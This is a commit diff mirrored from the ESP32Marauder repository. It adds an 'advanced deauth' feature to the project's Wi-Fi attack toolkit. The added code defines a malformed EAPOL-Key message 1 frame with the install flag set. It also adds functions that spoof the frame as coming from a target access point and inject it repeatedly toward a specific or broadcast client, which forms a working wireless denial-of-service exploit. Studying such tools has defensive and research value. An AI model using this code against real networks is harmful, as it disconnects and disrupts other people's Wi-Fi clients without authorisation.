mirror of
https://github.com/justcallmekoko/ESP32Marauder.git
synced 2025-12-12 15:50:36 -08:00
Added Malformed EapoL Message 1 with install flag set (Advanced deauth)
This commit is contained in:
Alessandro D'Alterio
@@ -1,3 +1,4 @@
|
||||
#include "esp_random.h"
|
||||
#include "WiFiScan.h"
|
||||
#include "lang_var.h"
|
||||
|
||||
@@ -6415,6 +6416,90 @@ void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str
|
||||
packets_sent = packets_sent + 3;
|
||||
}
|
||||
|
||||
void WiFiScan::sendEapolBagMsg1(uint8_t bssid[6], int channel, uint8_t mac[6]) {
|
||||
WiFiScan::set_channel = channel;
|
||||
esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
|
||||
delay(1);
|
||||
|
||||
// Build packet
|
||||
eapol_packet_bad_msg1[4] = mac[0];
|
||||
eapol_packet_bad_msg1[5] = mac[1];
|
||||
eapol_packet_bad_msg1[6] = mac[2];
|
||||
eapol_packet_bad_msg1[7] = mac[3];
|
||||
eapol_packet_bad_msg1[8] = mac[4];
|
||||
eapol_packet_bad_msg1[9] = mac[5];
|
||||
|
||||
eapol_packet_bad_msg1[10] = bssid[0];
|
||||
eapol_packet_bad_msg1[11] = bssid[1];
|
||||
eapol_packet_bad_msg1[12] = bssid[2];
|
||||
eapol_packet_bad_msg1[13] = bssid[3];
|
||||
eapol_packet_bad_msg1[14] = bssid[4];
|
||||
eapol_packet_bad_msg1[15] = bssid[5];
|
||||
|
||||
eapol_packet_bad_msg1[16] = bssid[0];
|
||||
eapol_packet_bad_msg1[17] = bssid[1];
|
||||
eapol_packet_bad_msg1[18] = bssid[2];
|
||||
eapol_packet_bad_msg1[19] = bssid[3];
|
||||
eapol_packet_bad_msg1[20] = bssid[4];
|
||||
eapol_packet_bad_msg1[21] = bssid[5];
|
||||
|
||||
/* Generate random Nonce */
|
||||
for (uint8_t i = 0; i < 32; i++) {
|
||||
eapol_packet_bad_msg1[49 + i] = esp_random() & 0xFF;
|
||||
}
|
||||
/* Update replay counter */
|
||||
for (uint8_t i = 0; i < 8; i++) {
|
||||
eapol_packet_bad_msg1[41 + i] = (packets_sent >> (56 - i * 8)) & 0xFF;
|
||||
}
|
||||
|
||||
// Send packet
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, sizeof(eapol_packet_bad_msg1), false);
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, sizeof(eapol_packet_bad_msg1), false);
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, sizeof(eapol_packet_bad_msg1), false);
|
||||
|
||||
packets_sent = packets_sent + 3;
|
||||
}
|
||||
|
||||
void WiFiScan::sendEapolBagMsg1(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff") {
|
||||
WiFiScan::set_channel = channel;
|
||||
esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
|
||||
delay(1);
|
||||
|
||||
// Build packet
|
||||
sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
|
||||
&eapol_packet_bad_msg1[4], &eapol_packet_bad_msg1[5], &eapol_packet_bad_msg1[6], &eapol_packet_bad_msg1[7], &eapol_packet_bad_msg1[8], &eapol_packet_bad_msg1[9]);
|
||||
|
||||
eapol_packet_bad_msg1[10] = bssid[0];
|
||||
eapol_packet_bad_msg1[11] = bssid[1];
|
||||
eapol_packet_bad_msg1[12] = bssid[2];
|
||||
eapol_packet_bad_msg1[13] = bssid[3];
|
||||
eapol_packet_bad_msg1[14] = bssid[4];
|
||||
eapol_packet_bad_msg1[15] = bssid[5];
|
||||
|
||||
eapol_packet_bad_msg1[16] = bssid[0];
|
||||
eapol_packet_bad_msg1[17] = bssid[1];
|
||||
eapol_packet_bad_msg1[18] = bssid[2];
|
||||
eapol_packet_bad_msg1[19] = bssid[3];
|
||||
eapol_packet_bad_msg1[20] = bssid[4];
|
||||
eapol_packet_bad_msg1[21] = bssid[5];
|
||||
|
||||
/* Generate random Nonce */
|
||||
for (uint8_t i = 0; i < 32; i++) {
|
||||
eapol_packet_bad_msg1[49 + i] = esp_random() & 0xFF;
|
||||
}
|
||||
/* Update replay counter */
|
||||
for (uint8_t i = 0; i < 8; i++) {
|
||||
eapol_packet_bad_msg1[41 + i] = (packets_sent >> (56 - i * 8)) & 0xFF;
|
||||
}
|
||||
|
||||
// Send packet
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, sizeof(eapol_packet_bad_msg1), false);
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, sizeof(eapol_packet_bad_msg1), false);
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, sizeof(eapol_packet_bad_msg1), false);
|
||||
|
||||
packets_sent = packets_sent + 3;
|
||||
}
|
||||
|
||||
void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
|
||||
// Itterate through all access points in list
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
|
||||
@@ -382,6 +382,51 @@ class WiFiScan
|
||||
0xf0, 0xff, 0x02, 0x00
|
||||
};
|
||||
|
||||
uint8_t eapol_packet_bad_msg1[153] = {
|
||||
0x08, 0x02, // Frame Control (EAPOL)
|
||||
0x00, 0x00, // Duration
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination (Broadcast)
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source (BSSID)
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID
|
||||
0x00, 0x00, // Sequence Control
|
||||
/* LLC / SNAP */
|
||||
0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00,
|
||||
0x88, 0x8e, // Ethertype = EAPOL
|
||||
/* -------- 802.1X Header -------- */
|
||||
0x02, // Version 802.1X‑2004
|
||||
0x03, // Type Key
|
||||
0x00, 0x75, // Length 117 bytes
|
||||
/* -------- EAPOL‑Key frame body (117 B) -------- */
|
||||
0x02, // Desc Type 2 (AES/CCMP)
|
||||
0x00, 0xCA, // Key Info (Install|Ack…)
|
||||
0x00, 0x10, // Key Length = 16
|
||||
/* Replay Counter (8) */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
|
||||
/* Nonce (32) */
|
||||
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
|
||||
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
|
||||
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
|
||||
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
|
||||
/* Key IV (16) */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
/* Key RSC (8) */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
/* Key ID (8) */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
/* Key MIC (16) */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
/* Key Data Len (2) */
|
||||
0x00, 0x16,
|
||||
/* Key Data (22 B) */
|
||||
0xDD, 0x16, // Vendor‑specific (PMKID IE)
|
||||
0x00, 0x0F, 0xAC, 0x04, // OUI + Type (PMKID)
|
||||
/* PMKID (16 byte zero) */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
enum EBLEPayloadType
|
||||
{
|
||||
Microsoft,
|
||||
@@ -451,6 +496,8 @@ class WiFiScan
|
||||
void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
|
||||
void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
|
||||
void sendDeauthFrame(uint8_t bssid[6], int channel, uint8_t mac[6]);
|
||||
void sendEapolBagMsg1(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
|
||||
void sendEapolBagMsg1(uint8_t bssid[6], int channel, uint8_t mac[6]);
|
||||
void broadcastRandomSSID(uint32_t currentTime);
|
||||
void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
|
||||
void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
|
||||
|
||||
Reference in New Issue
Block a user